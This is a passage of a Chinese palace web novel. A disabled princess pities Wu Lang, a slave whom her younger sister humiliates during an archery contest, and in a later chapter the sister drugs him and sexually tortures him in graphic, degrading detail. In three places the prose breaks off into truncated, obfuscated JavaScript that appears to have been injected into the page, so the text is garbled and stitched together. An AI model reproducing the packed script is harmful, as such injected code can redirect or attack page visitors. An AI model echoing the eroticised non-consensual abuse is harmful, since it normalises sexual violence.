偏偏天公不作美,半夜淅淅沥沥落了场雨,挟着夜里的冷风,一阵阵地扑在身上,冻得他直发抖。等他迷迷糊糊醒来,就听见阿萧阴阳怪气地在他耳边说,公主赏了药给他,还不快磕头谢恩。 薛清芷怎会好心给他治伤呢。只不过是变着法地作践羞辱他罢了。 邬琅对此早已麻木,只当没听见阿萧那些冷嘲热讽的话,垂着眉眼,沉默地俯下身去。 这副模样已经够下贱了。 若是只有阿萧和来往的宫婢太监们看着也就罢了,可、可长公主竟然来了这里…… 邬琅双颊泛热,动作也随之迟缓下来。他不敢抬头,只能将指尖用力嵌进泥地里,抠出难堪的痕迹。 薛筠意琢磨着阿萧话里含糊的字眼,眉头皱得更深了。寻常烫伤,大多都在肌肤裸.露之处,好端端的,怎会伤了舌头? “殿下,二公主还在校场等您呢。不过一个贱奴而已,您管他作甚,还是先挑马吧。”青黛笑盈盈地开口,显然根本没把邬琅当回事。 阿萧也笑道:“青黛姐姐说的正是,公主知道殿下身子不便,所以特意吩咐阿萧在此迎接殿下。殿下挑中哪一匹,只管告诉阿萧,阿萧替殿下牵过去。” 话音将落,忽而一阵风起,卷着地上的碎沙,扬进邬琅面前那池浅褐的水里,颤开一圈微不可见的涟漪。 薛筠意眼看着少年如惊弓之鸟猛地瑟缩了下,而后便将头埋得更低了,鬓边碎发没进水中,滴着湿淋淋的墨色。 她心里不是滋味,可邬琅毕竟是薛清芷身边的人,若论规矩,怎么罚怎么赏,皆是薛清芷说了算,与她无干。 薛筠意垂眸,掩去眼底的不忍,示意墨楹推着她往前去。 天色渐阴,许是又要落雨了。 轮椅从邬琅面前行过,余光瞥见少年脸颊上那片不自然的绯红,薛筠意抿起唇,心想昨夜那场雨下得冷,这马厩又四面透风,在这地方待上一夜,怕是要染上风寒。 阿萧已经牵了匹马过来,自顾自对薛筠意道:“殿下,您看这匹马如何?此马乃虞州进贡的宝马,名唤赤羽,皮毛漂亮得很,二公主平日里都舍不得骑呢。” 赤红的马毛挡住了薛筠意的视线,她目光回转,默了片刻,伸手接过阿萧递来的马缰,赤羽晃了晃脑袋,马蹄躁动不安地踏着地面。 是匹烈马。 薛筠意不动声色地松开手,“既是妹妹心爱之物,本宫怎好借用,还是换一匹罢。” 她扫了眼阿萧身后,伸手一指:“就那匹吧。” 墨楹顺着她手指的方向看去,不由惊喜道:“那不是皇后娘娘的流雪吗?” 薛筠意嗯了声,吩咐两个小太监上前去,将流雪牵到她面前。 多日不见,流雪竟还认得她。 它用脑袋不停地拱着薛筠意的腿,又热切地去蹭她的手心,见她迟迟不起身骑上来,竟主动跪了下去,放低了身子。 薛筠意抚摸着流雪雪白的皮毛,那柔软亲密的触感,让她想起姜皇后抱着她时怀里的温度,那么温柔,那么暖和。 她是在流雪背上长大的。 那时流雪还是匹小马驹,她晃悠晃悠地骑在上头,姜皇后在一旁替她牵着马缰,柔声告诉她,姜家的儿女,世世代代皆在马背上长大,她虽贵为公主,但也要学会骑马才行。 薛筠意懵懵懂懂地点头,流雪性子温驯,从来没有摔伤过她,她很喜欢骑马,也并不觉得累。 骑着骑着,小马驹长成了威风凛凛的骏马,她也从小小的一团女娃娃,长成了亭亭玉立的公主。 可后来,流雪被皇帝强行要了去,赐给了薛清芷。 去年秋猎,姜皇后随行陪伴圣驾,薛清芷一眼便看中了姜皇后所骑的流雪,当着众臣子的面,牵着皇帝衣角撒娇讨要。 不过一匹马而已,皇帝大手一挥,很是爽快地答允了。 只是皇帝没想到,素来温和忍让的皇后,会为了一匹牲畜而顶撞他,甚至不惜与他翻脸。 帝王脸面,怎容他人驳斥,几番争执无果,皇帝怒着声斥责皇后大不敬,不仅当场命人将流雪牵给了薛清芷,还下令罚皇后禁足思过,非诏不得出。 回宫后,姜皇后便病倒了。这场病来得突然,也蹊跷,太医院费尽心思,可皇后的身子非但不见好,反而一日日地衰败下去。吴院判捋着花白胡须叹息不已,道皇后娘娘这病是心疾,寻常的药怕是医不好的。 那时的薛筠意尚不明白,姜皇后为何会为了流雪与皇帝吵到那般地步,她犹记得母后跪在威严沉肃的帝王眼前,一声不吭地拔下发间凤钗横于颈侧,满头青丝尽散,被山风吹得凌乱不堪,唯那双眼眸从容沉静,清明得令帝王心惊。 可纵然姜皇后以死相逼,还是没能让皇帝收回成命。 后来无意间听阿菀说起,薛筠意才知,流雪是姜家的马。 姜皇后入宫那日,舅舅姜琰托人将流雪送与姜皇后,让姜皇后带进宫去,聊以解闷。 “宫中日子寂寞,唯愿妹妹,能似流雪般快意驰骋,不拘于天地岁月,得一生快活。” 纸上字迹丑陋,却笨拙认真,一笔一划,尽是难言牵挂。 那封书信,至今仍锁在姜皇后留下的妆奁里,上头的字迹已然发黄褪色,不知浸了多少看信之人的眼泪。 “殿下,您当真要选这匹马?这马好看是好看,可年纪大了,跑不快的。不比赤羽,跑起来跟阵风似的。”阿萧犹不死心地劝道。 薛筠意没理会他,抬眸示意墨楹将她抱上马背。 墨楹乃武婢出身,身手又是一众婢子里最好的,所以才得了姜皇后看中,将她拨到薛筠意身边伺候。她毫不费力地将薛筠意托起,稳稳放于马背上,流雪慢吞吞地直起身来,温驯地停在原地。 薛筠意握住了缰绳,淡声道:“走吧。” 阿萧只得将赤羽牵回马厩里,空着手跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我已有好些日子不曾骑马了,自然是比不过妹妹的。” 薛筠意轻描淡写,薛清芷只觉一拳打在了棉花上,自己讨了个没趣儿,脸色愈发难看。 “公主,人带来了。” 好在阿萧及时将邬琅带了过来,让薛清芷的火气得以有了发泄的出口。少年卑微地趴伏在地上,声音哑得厉害:“请公主上马。” 薛筠意怎么也没想到,薛清芷口中的脚凳竟是个活生生的人。她不可置信地看着薛清芷转过身,结结实实地踩在邬琅清瘦的脊背上,少年喉间泄出一阵隐忍的闷哼,手掌死死撑住地面,好不容易才勉强稳住了身子,没让薛清芷摔下去。 “行了,滚去那边跪着吧。”薛清芷骑在马上,睨着仍乖顺伏地的少年,居高临下地命令道。 “是。” 邬琅哑着声应道,缓缓地朝角落里爬去。 方才被逼着喝了太多的水,此刻小腹饱胀得厉害,这跪行的姿势无疑加重了邬琅的痛苦,令他每行一步都格外艰难。 经过流雪身边时,邬琅动作微顿,下意识地将头垂得更低了些,可薛筠意还是看见了他泛红的双颊和鬓边的湿汗。 定是着了凉,起了烧热了。 薛筠意的目光落在少年单薄腰身上,秀眉轻轻蹙起。 薛清芷已经从一旁侍候的解安手中拿过弓箭,似笑非笑道:“皇姐既不敢与我比试,那便算了罢。皇姐如今身子有疾,我自是不好勉强皇姐。” 薛筠意看着邬琅慢吞吞地爬到草靶旁不起眼的角落里,眉眼低垂地安静跪着,像只温顺的、被拔去了爪牙的小猫。她实在无法忽视心底那股异样的情绪,突兀地开口:“我可以和你比。但这彩头,要我来定。” “什么?” 薛清芷一愣,一时有些没反应过来。 校场上冷风萧瑟,吹得少年止不住地发抖。 薛筠意攥紧了缰绳,望着那道清瘦身影,缓缓道:“我若赢了你,你便放他自由。” 10. 第十章 薛清芷怔了好一会儿,才明白过来,薛筠意口中的“他”正是方才被她当脚凳使的邬琅。 她唇角扯出一丝讥讽的笑,握弓的手却紧了几分,“皇姐还真是一如既往的,菩萨心肠啊。” 薛筠意平静地朝墨楹伸出手,一把沉甸甸的弓立刻递到了她手里,是她惯用的那把惊月。 “比么?” 她语气平淡,落在薛清芷耳中,却成了成竹在胸的从容。 薛清芷不大痛快了。 她目光阴沉地盯着角落里的邬琅,盯着那张清冷俊美的少年脸庞,好半晌,才转过脸看向薛筠意,“皇姐难得开口,妹妹哪有拒绝的道理。只是,若皇姐输了,也该给妹妹些什么,才算公平吧?” “这是自然。” “皇姐可还记得从我这儿要去的那支步摇?我要的彩头,便是那步摇上的十六颗明月珠。” 薛清芷顿了顿,一副十分为难的样子,“我既然将步摇送给了皇姐,于礼,便没有再要回来的道理。可那些明月珠实在珍贵,又是父皇赏赐之物,若日后父皇问起,得知我随意给了旁人,怕是会怪罪于我。皇姐向来善解人意,还望皇姐,能体谅妹妹。” 旁人? 她也是皇帝的骨肉,怎的在薛清芷口中,就成了所谓的旁人了? 薛筠意笑笑,懒得与薛清芷计较这些,随口应道:“好。” 她本就不喜欢那等奢华昂贵之物,那日开口讨要,不过是不忍见邬琅受苦。 可要她将那十六颗明月珠还回去,未免也太看低了她。 姜家的女儿,绝不会输在马背上。 薛清芷抬手唤来两名侍从附耳低语了几句,两人恭敬退下,很快就将薛清芷要的活靶捧了过来。 晶莹剔透的大肚琉璃瓶里,一只白蝶扑腾着脆弱的翅膀,一次次地撞向瓶壁,却怎么也飞不出那细窄的出口。 薛清芷往身旁瞥了一眼,慢悠悠道:“这‘惊蝶落’可是当年皇姐的拿手好戏,今日算是有幸,能再亲眼见一见皇姐的本事。” 那时候薛筠意才十四岁。那年的梧桐落得早,重阳秋宴办得格外隆重,妃嫔们各自献过才艺,便该轮到两位公主。薛清芷抚琴奏了一曲梨花清梦,弦音断续,几乎不成曲调,皇帝却拍手叫好,夸赞薛清芷技艺精湛,天赋卓绝。 臣子们自然不敢对帝王的话有任何异议,只得含糊附和着,而后便不约而同地将目光落在了薛筠意身上。 沉日西落,绮丽霞光流进琉璃瓶中,将宝石般的蝶翼镀上一层薄淡的金。她骑着流雪,起初是慢慢地,后来便畅快起来,疾驰过宽阔的宫道,于百步之外,没有一丝偏差地,射落了瓶中的蝴蝶。 那时朝臣们方知,这位养在深宫中的长公主有着一身不逊于男儿的本事,彼时有好诗文者,将此技取名为“惊蝶落”,甚至编入了说书的话本子之中,在坊间传唱。 朝臣们很是欢喜,皇帝膝下无子,如今上了年岁,又独宠着江贵妃,子嗣上怕是再无指望,长公主若能担起国之重任,他们也能安心了。 可皇帝却并不高兴,当场便沉了脸,精心准备的筵席也潦草撤了下去,最后竟闹了个不欢而散。 从那时起,薛筠意便再没练过这一技了。即使她曾为此苦练过无数回,娇嫩的掌心被弓身磨出大片大片的水泡,指腹凸起一层粗粝的、不属于女儿家的薄茧。 她想让父皇看她一眼。 像看薛清芷那样,赞许地,慈爱地,看她一眼。只一眼,她便满足了。 可最后她还是没能如愿。 去年冬,为着姜皇后的病,薛筠意从藏书阁里寻了好些医典来看,时常挑灯读到深夜,熬伤了眼睛。有时见窗边扑过一只雀儿,都有些模糊。 她微微眯起眼眸,目光追随着琉璃瓶中如雪雾般扑朔着的白蝴蝶。侍从小心翼翼地捧着它,要将它摆到草靶下设起的木案上去。 薛清芷忽然出声:“等等。” 她随手指了指一旁跪着的邬琅,漫不经心道:“让他过来捧着。” 侍从听令上前,半拖半拽地将少年拉到了草靶底下。沉甸甸的琉璃瓶塞进手中,邬琅有些慌乱地抬起头,无措地望着薛清芷。 他累极了,过分憋胀的小腹令他的双腿不停地打着摆子,膝盖更是颤得厉害,地上尖锐的石子儿深深嵌进那两团早就跪得满是青紫的薄肉里,扎着骨头似的疼。 可薛清芷只是居高临下地命令道:“捧高些,若是伤了你这张漂亮脸蛋,可不关本宫的事。” 可怜的少年只得乖乖地举高了手臂,雪纱堆叠滑落,露出利落流畅的小臂线条,以及覆在其上的一道道结着血痂的鞭痕。 薛筠意不忍再看,偏过脸对薛清芷道:“妹妹先来吧。” 薛清芷也不推辞,“我技艺不精,皇姐莫取笑我。” 说罢,她便骑着马远远绕到校场另一侧去,取出羽箭搭在弦上,对准了邬琅的方向。 黑马跑了起来,马蹄扬起尘沙,薛清芷瞧准时机松了手,嗖地一声,羽箭从邬琅耳边掠过,歪歪扭扭地扎在了他身后的草靶上。 薛清芷收起弓,眸色恹恹。明明她私下练习时几乎百发百中,宫人们不住声地夸赞她天赋异禀,无需苦练便能达到这般境界,她听着高兴,还很是大方地赏了不少白花花的银子下去。 怎么今日却射不中了呢? 她心知林奕是不愿费心教她,所以才拿这“惊蝶落”来敷衍糊弄,说待她练成了此技,他才会教她些别的。 林奕不想教,她还懒得学呢。 本想就此放弃,可转念一想,又不甘心就这么被薛筠意比了下去。 上次她出宫游玩,路过街边茶馆,还听见那须发花白的说书人激昂热切地说着长公主重阳秋宴上的飒爽英姿。 说书人的舌头是被她拔了去,可薛清芷心里却过不去这道坎,所以今日才提出要与薛筠意比试此技,不曾想,竟失手了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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阿萧站在邬琅身旁,眸光阴鸷地盯着草靶上射歪了的那支箭。若是再偏一点,再低一点……该有多好啊。那锋利的箭头会刺穿邬琅的喉咙,这个贱人,这个让二公主日日念着的贱人,就会惊恐地睁着眼睛倒下去,再也不会与他争抢二公主的宠爱。 马蹄声渐渐逼近,阿萧睨着邬琅发抖的脊背,忽而心念一动,用力踢起脚边的一粒石子儿,重重砸在了邬琅的小腿上。 少年骤然吃痛,再也支撑不住,狼狈地栽倒在地。 箭在弦上,已是蓄势待发。这突如其来的变故令薛筠意心神大乱,急急偏转手腕,箭矢挟着冷风,低低地扎进一旁的沙地里。 薛筠意勒住马缰,在邬琅面前停下。方才那一瞬,她心慌得厉害,手上一抖,箭锋便歪了些,只一寸,结果却千差万别。好在她及时脱手,才没弄出人命。 琉璃碎了满地。 白蝶于破碎的囚笼中挣脱,缀在少年苍白的指尖上,再翩然地飞远。 只留邬琅仍在原地。 他费力地跪起身来,惊慌地看着眼前满地的碎片,不敢去想又要受到怎样残酷的惩罚,直至他听见那道清澈的,宛如神明梵音般的声音。 “没伤到你吧?” 11. 第十一章 邬琅怔愣了一瞬,小心翼翼地抬起脸,对上那双沉静明澈的眸子,他动了动唇,几乎有些结巴:“没、没有。” 伤到也无妨的,邬琅想。 他已经习惯了流血,习惯了忍痛。他只是一件用来发泄的玩具,没人会在意他的感受。 可眼前的长公主,那坐于马背上,蹙眉望着他的长公主,眼中却露出了担忧的神色。 “你发烧了。” 少年眼尾泛着不自然的嫣红,清冷面庞透着绯色,两瓣薄唇干涩得厉害,显然是生病了。 邬琅茫然了一瞬,后知后觉慌乱起来,急忙用衣袖擦去鬓边的凉汗,小声哀求道:“贱奴没有生病,求殿下,不要将此事告诉二公主。” 一个低贱的奴隶是没有权利生病的。 生病意味着他无法伺候薛清芷,无法取悦她、讨好她,意味着他失去唯一活着的价值。 初到宫中那段时日,邬琅病过一次。刑房里阴冷潮湿,常有毒虫出没,他不慎被咬伤了脸,伤处肿得厉害,连张嘴都十分困难。 薛清芷见了他那张破了相的脸,眸中满是厌恶,随意扔给他一瓶药膏就将他关进了暗室,说见了他这副模样心烦,平白坏了她的好心情。 邬琅被关了整整十日。脸上是烧灼般的剧痛,头也昏沉得厉害,一片黑暗中,药瓶不知滚去了哪里,他摸索了半天也没能找到,只能生生地挨着。 他从未如此渴望过日光,渴望一切能带来光明的东西。黑暗像潜伏在深处的巨蟒,无声地注视着他的一举一动,好像他稍有不乖,就会悄无声息地爬到他身边,吐着猩红的信子将他吞吃入腹。 暗室的门打开的那一刻,邬琅彻底崩溃,他哭着爬了出去,颤抖着抓住薛清芷的衣角,他说他什么都愿意做,只求薛清芷不要再把他关进那样的地方。 薛清芷睨着脚边满脸泪痕的少年,施舍般地摸了摸邬琅的头。 “告诉本宫,你是什么。” “我、我是您的贱奴。” 他眼尾噙着泪,将落不落,被薛清芷慢悠悠地拭去。 接着,一条沉重的玄铁链便锢在了他的颈间,那是薛清芷一早就命人打造好的东西,本该是锁孔的位置,却烙着一个清秀的“琅”字。 她牵起他,故意将链子绷得紧紧的,逗弄小狗似的,悠闲地朝床榻走去。 “你欠本宫的,该还了。” 每每想起这些,邬琅就浑身发抖,若是薛清芷知道他病了,定然会嫌弃他一身病气脏了她的寝殿,大约会再将他赶到暗室里去,直到他痊愈才会放他出来。 薛筠意不明白为何一句平淡的关切会令邬琅害怕成这副模样。她正欲开口安抚,薛清芷已经骑着马来到了她身旁,冷冰冰地瞥了邬琅一眼。 薛清芷离得远,并未看见邬琅是如何跌倒,又是如何摔了手中的琉璃瓶,她只看见他仰着头与薛筠意说话,乌眸湿漉漉的。 邬琅察觉到她的不高兴,沉默地低下了头。 薛清芷看向一旁的阿萧:“可分出胜负了?” 阿萧如实道:“长公主并未射中,应是平局。” 薛清芷便笑了,她看着邬琅,很是惋惜地啧了声:“真可惜啊。看来该是我的东西便是我的,谁也抢不走。” 邬琅是她的,皇太女的位子也是她的。 薛筠意已经成了废人了,连自个儿都救不了,竟还怀着可笑的慈悲,妄想着让邬琅自由。 薛筠意垂下眼,淡声道:“我累了,今日就不陪妹妹了。” 她何尝听不出薛清芷话里带着刺,只是懒得敷衍应付。 她心里遗憾,若没有方才的意外,那支羽箭应当会稳稳穿过白蝴蝶脆弱纤薄的翅膀,又或者,若她的腿没有残废,她便不会如此心慌,她会冷静沉着地射出最完美的一箭,邬琅会自由,再也不必留在这地方受苦。 薛筠意眼眸暗了暗。 自由…… 回到邬家,算是他的自由吗? 邬寒钰待他那样恶劣,邬老爷子更是把他当作讨好的礼物随手送人。 “皇姐这就要走了吗?妹妹还想和皇姐再切磋几场呢。”薛清芷带着笑,打断了薛筠意的思绪。 她回过神,目光不觉又落在邬琅身上,少年安静地低头跪着,双颊泛着红晕,薄唇微张,沉重呼吸烫进微凉的风里。 “改日吧。”她终是移开了目光,引着流雪,缓步离开。 薛清芷会给他药的吧? 她报复邬琅的手段是狠了些,但应该还不至于不为他医病,任由他烧得意识模糊。 薛筠意垂眸,看向自己毫无知觉的双腿。 回想起马背上那一刹的慌乱,她忽然感觉无比颓丧,这些天强撑出来的平静倾垮得彻底。 这副身子,终究是和以前不一样了。 她不再能随心所欲地掌控马匹,不再游刃有余胸有成竹,她救不了自己,更救不了旁人。 “扶我下来吧。”薛筠意将手中的弓箭递给墨楹,轻声道。 感觉到她的失落,墨楹心里也跟着难受起来,流雪乖觉地跪了下去,墨楹抿起唇,小心地将薛筠意从马背上抱下来,让她重新坐进轮椅里。 雪缎轻盈起落,邬琅嗅到了一点若有若无的草药香气。 是长公主身上的香气。 眼前忽而滚过一朵素白绢花,被风卷着,轻灵地落在他的膝前。邬琅一怔,下意识地抬起脸,寻找这绢花的主人。 周遭颜色繁杂,青的,红的,黄的,吵得人眼睛疼。 唯有那位坐于轮椅上的长公主,满身寂静雪色,腰间玉色绦带上,缀着朵单薄摇颤的绢花。 邬琅恍然明白,她应是在为什么人服丧。 他想将那朵绢花捡起,指尖却在触碰到柔软绢丝的一瞬猛然收回,他小心翼翼地用衣角擦净手上的脏污,才敢去碰那抹无瑕的纯白。 轮椅已行远了。 邬琅张了张口,想把绢花还给薛筠意,可他不能贸然出声,没有薛清芷的允许,他连说话的权利都没有,只能做一个温顺的哑巴。 薛清芷从马背上下来,在他面前站定。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可是他不能,他只能跪在床前,打开床板下的箱子,从那些薄得根本不能蔽体的纱衣里随意扯出一件,穿在身上。 风顺着门缝儿溜进来,将他小心放于床褥上的那朵雪白绢花吹得花瓣轻展。邬琅用洗得发白的双手将它轻轻捧起,再动作轻柔地藏在枕下,他盯着枕头恋恋不舍地看了好一会儿,才拖着疲惫的身体离开了马棚。 寝殿里正点起一炉新香。 香气甜腻,幽幽地钻入肺腑,邬琅只觉头痛得更厉害了,他拖着绵软的身子,昏昏沉沉地朝坐在榻边的薛清芷爬去。 薛清芷全然没注意到少年红艳艳的双颊和迷蒙失神的乌眸,她用银匙搅着一盅刚熬好的药,笑盈盈地递到邬琅面前,命令道:“喝了。” 药汤泛着热气,熟悉的气味令邬琅害怕地缩了缩肩膀。 ——那是催.情的药。 12. 第十二章 即使邬琅的身子已经被调.教得熟透了,可薛清芷犹嫌不够,嫌他不够放荡,不够马蚤,永远一副清清冷冷的样子,玩起来索然无味。 邬琅很清楚喝下这碗药的后果,可他不敢拒绝,只能顺从地接过来,低声道:“贱奴谢公主赐药。” 药是酸苦的,光是闻着便让人难以下咽。邬琅顿了顿,将药碗搁在地上,抬起潮湿的乌眸,小心翼翼地请求道:“公主,贱奴可以……可以先去净房吗?” 马槽里的水有一大半都进了他的肚子,嘴里的肿痛丝毫未见缓解,倒是小腹被撑得酸胀不已。邬琅忍了许久,终是受不住这过分的折磨,张口求了她。 他闭了闭眼,脸颊因耻辱而蒙上一层愈发红艳的旖色,薛清芷饶有兴致地看着少年难堪的模样,顺手从枕边摸出一把结实的红檀戒尺,末端抵上他洇着冷汗的胸膛,轻轻一挑,那层纱衣便轻盈地落了地。 一颗饱满丰盈的明珠,剥夺了这可怜的少年所有畅快的自由。 邬琅至今仍记得那尖锐的细簪插入细小孔隙之中时的痛苦,他痛到失声,险些昏厥,等他缓过神来,眼前所见,便只剩簪尾的那颗明珠,残忍地向他宣告着,往后他的一切,都要牢牢掌控在薛清芷手中。 他咬紧了唇,双手交叠背在身后,任由薛清芷恶劣地,一下一下戳弄着那微微鼓胀的肌肤。 少年修长白皙的脖颈高高扬着,迸出隐忍的青筋,本以为他的乖顺能够换来一次畅快,可薛清芷只是轻飘飘地说道:“你若是敢弄脏本宫的床褥,本宫就把你那不听话的贱.根割下来。” 邬琅实在是太能忍耐了。所以她不得不用上一些过分的手段,只有把他逼得狠了,他才肯放低了姿态求饶。 譬如眼下,她话音将落,那不堪忍受的少年便红了眼角,犹豫一息,终是哑着声求道:“主人。” 薛清芷弯了弯唇,不过她并未就此放过邬琅,而是抬起手,用冷冰冰的戒尺抵住邬琅清瘦下颌,仔细欣赏着他清冷黑眸中隐忍而痛苦的神色。 欣赏够了,她便在邬琅渴盼的眼神中,慢条斯理地道了句:“喝药。” 这便是不允许他去的意思了。 邬琅眼眸暗下来,忍着腹中的酸胀,沉默地端起药碗,仰头饮尽。 一碗药下肚,邬琅颤了颤,还未缓过来,就被命令跪到床榻上去。 这药发作得极快,邬琅本就烧得滚烫,这会儿只觉身上浸了火似的,难受得紧,他用力掐着手心才勉强保持着一丝清明,温顺地伸出舌尖,舔上薛清芷手中冰凉的白玉。 舌头上覆着层可怖的水泡,是那日薛清芷用热茶烫的,邬琅停顿一瞬,不敢偷懒,忍着巨大的痛楚继续服侍着,直至温凉的玉染上旖旎的水痕,被他的体温渡得发烫。 “主人,求您使用贱奴。” 他垂着眼,毫无感情地说着讨宠的话,薛清芷眯起眼睛,指尖一寸寸划过他紧绷的腰线,不大满意地评价:“看来药量还不够。” 难得她心情好,愿意给他几分好脸色,可他竟这般敷衍她。 邬琅浑身都在发抖,药性汹涌,如一头凶猛的豺狼在他体内横冲直撞,他几乎咬碎了牙根,才没让自己露出丑态。 可这副熟透了的身子,没过多久就败下阵来,他瘫软在薛清芷手中,乌眸里潋滟着水光,藤鞭抽在两瓣白皙的臀肉上,他嗓音低哑,透着极力隐忍的欲,终究是将那不堪入耳的污秽之词说出了口。 “求主人*奴……” 少年又软又烫,连呼吸都带着诱人的温度,玩起来不知比平日里舒服了多少倍,薛清芷以为是那药的缘故,暗想着下次要再多添几分药量,全然没发觉邬琅已经烧得意识模糊了。 她很是愉悦地扇了邬琅一巴掌,命令他转过身去。 看着昔日冷着脸拒绝她的清隽少年,如今像条狗一样卑微顺从地服侍着她,薛清芷心里别提有多畅快了。再想起今日薛筠意失手后脸上那失魂落魄的神色,薛清芷愈发得意起来,她的皇姐还真是异想天开,拖着两条废了的腿还想着与她争呢。 她不觉加重了力道,邬琅不敢出声,只能忍着痛由她摆布,可薛清芷却犹不满足,拽着铁链逼迫他仰起头来,冷声道:“本宫不喜欢哑巴。” 皎洁的白玉上渗出了淡淡的血色。 大颗大颗的汗珠顺着少年红得几欲滴血的面颊上滴落,无声地砸在绣着牡丹的锦被上。 邬琅身上一丝力气也无,眼前黑沉沉一片,他不知道自己是不是快死了,他想解脱,要他做什么都可以,只要让他不再受苦,他愿意付出任何代价。 少年缓缓地张开了苍白的薄唇,一遍遍地哑声说着自辱的话。薛清芷却得了趣味,她退出来,漫不经心地抽着他耳光,每抽一下,便问一个问题,仿佛在玩一种十分有趣的游戏。 “你是什么?” “奴是贱.货,天生只会勾引人的贱.货。” “你听谁的话?” “贱奴只听您的话。” 薛清芷笑起来,随意地将少年另一边脸也扇肿了,当作奖励。 “你心悦本宫,所以心甘情愿侍奉本宫,是不是?” 汗水蛰花了邬琅的眼睛,浓密的鸦睫湿淋淋地垂着,他胸口起伏,手臂用力撑着床褥,暴起突兀的青筋。 只需温驯地,像以往被教过许多遍的那样,应一声是,就能从这地狱般的牢笼中解脱,可邬琅忽然不愿再陪薛清芷玩这个残忍的游戏,他不喜欢她,以前不喜欢,如今亦然,难道就因她是皇帝最宠爱的公主,他便没有拒绝她的权利吗? 但在这位金枝玉叶的二公主面前,哪有道理可言呢。 凝华宫附近有一处瑶湖,碧波浩渺,清可见底。薛清芷嫌弃宫中景致枯燥无趣,所以皇帝特意吩咐工匠挖石引水,不知耗费了多少功夫,才筑成这方美景。邬琅被戴上玄铁链的第一天,就被薛清芷牵到了蓬船上,陪着她游湖赏景。 正值晌午,邬琅跪在滚烫的船板上,低垂着眼,一面抬手扇着自己早已红肿的脸颊,一面说着告罪的话:“能陪公主游湖是贱奴的荣幸,当初是贱奴有眼无珠,竟敢拒绝公主,请公主责罚。” 而薛清芷就坐在阴凉之处,惬意地吃着宫人递来的点心,欣赏着眼前这美妙的表演。 小船慢悠悠地划开荡漾的水波,清风徐徐,空气中沁着草木芬芳,恍若人间仙境,周遭寂静无声,只有少年掌嘴的声音清脆响亮。 邬琅早就认命了,所以自甘下贱,只求薛清芷能留他一条性命,可此刻,他烧得混沌的意识里,忽然又挣出几分不甘来,他沉默着,眼看着薛清芷眼中的兴味一点点黯淡下来,唇角的笑意消失得无影无踪。 “养不熟的贱.种。” 薛清芷咬着牙骂了句,带刺的鞭子发狠般抽在邬琅颤抖的脊背上。这么些日子过去,她以为邬琅早就被训得服服帖帖,再不敢忤逆她半句,没想到他骨子里的劣性那么顽固,都被那药弄成这般模样了,竟还不肯彻底服软。 “来人。”她怒着声喊,“把这个不知好歹的东西给本宫关进刑房,没有本宫的命令,谁都不许放他出来!” 青黛惶恐地带着两名小太监进来,她不知道发生了何事,明明方才她进来送药时,薛清芷还心情不错地吩咐她去准备些滋补的药膳,晚些时候给邬琅喝下。说是邬琅身子太瘦了,用着硌手,得让他长些肉才行。这才不到两刻钟的功夫,怎么就变脸了呢? 她不敢拖延,低声吩咐快些将邬琅拖走。 邬琅没有任何挣扎,也没有力气挣扎。他疲惫地闭着眼,任由小太监粗.暴地抓住他的手腕,像拖着一头牲畜般,将他带离了寝殿。 * 南疆的春天总是缠绵多雨。 回青梧宫的路上,又飘起了朦胧雨丝。 墨楹推着薛筠意进了寝殿,早有宫婢捧上干净的衣裙,服侍着薛筠意换上。 她素来喜洁,哪怕身上只沾了一点儿雨,也会觉得不舒服。 孟绛提着药箱进来,一边为薛筠意施针,一边主动提起了那日墨楹送来的药方。 “这药方上共有十二味药材,皆是世间罕见的奇药,还望殿下再宽限臣些时日,待臣与几位同僚商讨过,或许能有些头绪。” 薛筠意意兴阑珊:“不急。” 她本也没指望太医院能这么快就弄出解药来。 药浴过后,孟绛起身告退。 墨楹拿来棉巾,小心地擦净薛筠意腿上的药渍。薛筠意静静地看着墨楹忙活,忽然开口道:“往后,不必再费心准备这些了。” 她知道孟绛是想给她一丝希望,所以才想出了这药浴之法,可没人比她自己更清楚她的身体,熬再多的草药也是无用。 墨楹愣了下,有心想劝几句,话到嘴边,还是默默地咽了回去。她心里后悔极了,当初就该拦着殿下,不该让殿下答允为薛清芷作画的,每次去凝华宫,薛清芷总要给殿下找几分不痛快。 吩咐宫人将木桶撤下去,墨楹站起身,小心问道:“外头下着雨,殿下莫着了凉。奴婢推殿下去歇息吧?” “好。” 薛筠意由着墨楹将她抱到拔步床上,再替她盖好被子。 雨声潺潺,最是催人眠,薛筠意闭上眼,却怎么也睡不着。 脑海中一遍遍地浮现出邬琅那双慌乱的眸子,他跪在她面前,卑微地恳求着,不要将他发烧之事告诉薛清芷,好像生病是一件无可饶恕的罪过。 她无法想象在她看不到的地方,薛清芷是如何对待邬琅的,否则好端端的人,为何会被吓得这般谨小慎微? 薛筠意侧过身,心神不宁地想,少年人身子强健,好好睡上一夜,出些汗,明日应该就会好的。 这场雨下了整整一夜。起初还是细雨霏霏,到天亮时,已成滂沱之势,直将院中的花草淋得七扭八歪。 积雨难行,作画之事只得暂且搁置。本以为这雨顶多下上一两个时辰便停了,谁知竟没完没了,足足下了两日也不见小。 作画讲究一气呵成,薛筠意不想失了手感,便将那幅未画完的画在长案上铺开来,调开一砚浓墨,勾勒些细节。 墨楹端着茶水进来,忽听殿外传来了太监总管李福忠尖利的嗓音。 “陛下驾到!” 墨楹吓了一跳,宫婢们亦吃惊不小,回过神后,连忙跪地行礼。 皇帝踏入青梧宫的次数可谓是屈指可数,哪怕薛筠意的身子落了残疾,皇帝也没来看过一眼。今儿竟是太阳打西边出来了。 李福忠躬着身子,恭敬地将皇帝请进殿中。 薛筠意搁下笔,望着眼前身着龙袍,威严沉肃的皇帝,内心出奇地平静。 